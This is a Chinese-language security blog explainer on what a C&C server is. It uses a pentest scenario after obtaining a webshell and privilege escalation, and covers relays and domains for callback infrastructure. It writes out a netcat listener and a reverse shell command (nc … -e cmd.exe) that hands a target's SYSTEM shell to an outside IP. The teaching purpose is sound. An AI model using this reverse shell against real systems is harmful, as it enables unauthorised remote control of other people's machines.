轻松理解什么是 C&C 服务器

红蓝对抗 2019-11-10

大家经常在看恶意软件分析的文章或者关于僵尸网络的报道时经常会看到有关 C&C 服务器的字眼,但是这个 C&C 服务器是什么呢?今天的主题就是带领大家轻松理解什么是 C&C 服务器。

C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器,那么他有什么用呢?

通常我们在做渗透测试的时候,在拿到一个 webshell 的时候,我们需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令,而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要我们将低权限的 cmd shell 反弹回本地,这里我们使用 nc 在本地执行:

nc -vv -lp 3333

上述命令的意思是在本地监听一个 3333 端口等待连接,假设你的电脑 IP 是公网的,并且 IP 为 114.114.114.114,然后在目标服务器就可以执行:

nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回给你,这时你的本机电脑就是一个简易的 C&C 服务器,如图简单的解释上面的过程:

img

在这里延伸一下,如果你的本机电脑是在内网中,没有公网 IP,目标服务器也在内网,这时目标不能直接通过 IP 地址连接到你本机,我们该如何做呢?

img

通常这个过程中是必须一个公网的 IP,只有这样内网的服务器才可以访问进行连接,所以我们可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器,这里中转服务器的作用就是将我们本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

说到这里,我们再延伸一下,由于 IP 地址是随着中转服务器的变化而变化的,每次 IP 的 变化都会导致整个过程都要重新操作一次,每个命令语句都要进行修改,那么我们有什么办法可以解决这个问题?

当然有,这里就涉及大家经常用到的域名了,将上面语句中的 IP 地址修改为我们注册的域名,然后将域名解析到我们的中转服务器,这样即使我们更换了中转服务器,我们也不需要更改执行过的命令。

以上的整个过程就是一个简易 C&C 服务器的进化史,通常我们在网络上看到的文章说 C&C 服务器的 IP 地址或者域名,这里的 C&C 服务器说的就是上面的中转服务器,为什么是中转服务器而不是本地主机呢?

那是因为中转服务器是恶意软件和僵尸网络的直连服务器,是最直接接触的服务器,通常在恶意软件分析或者僵尸网络分析的时候首先分析出来的,所有控制者发送的指令都是经过中转服务器发送到目标服务器的,今天就说到这里吧,欢迎大家留言讨论。

推荐阅读

我们来聊一聊渗透测试

轻松理解什么是 webshell

轻松理解什么是 SQL 注入


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论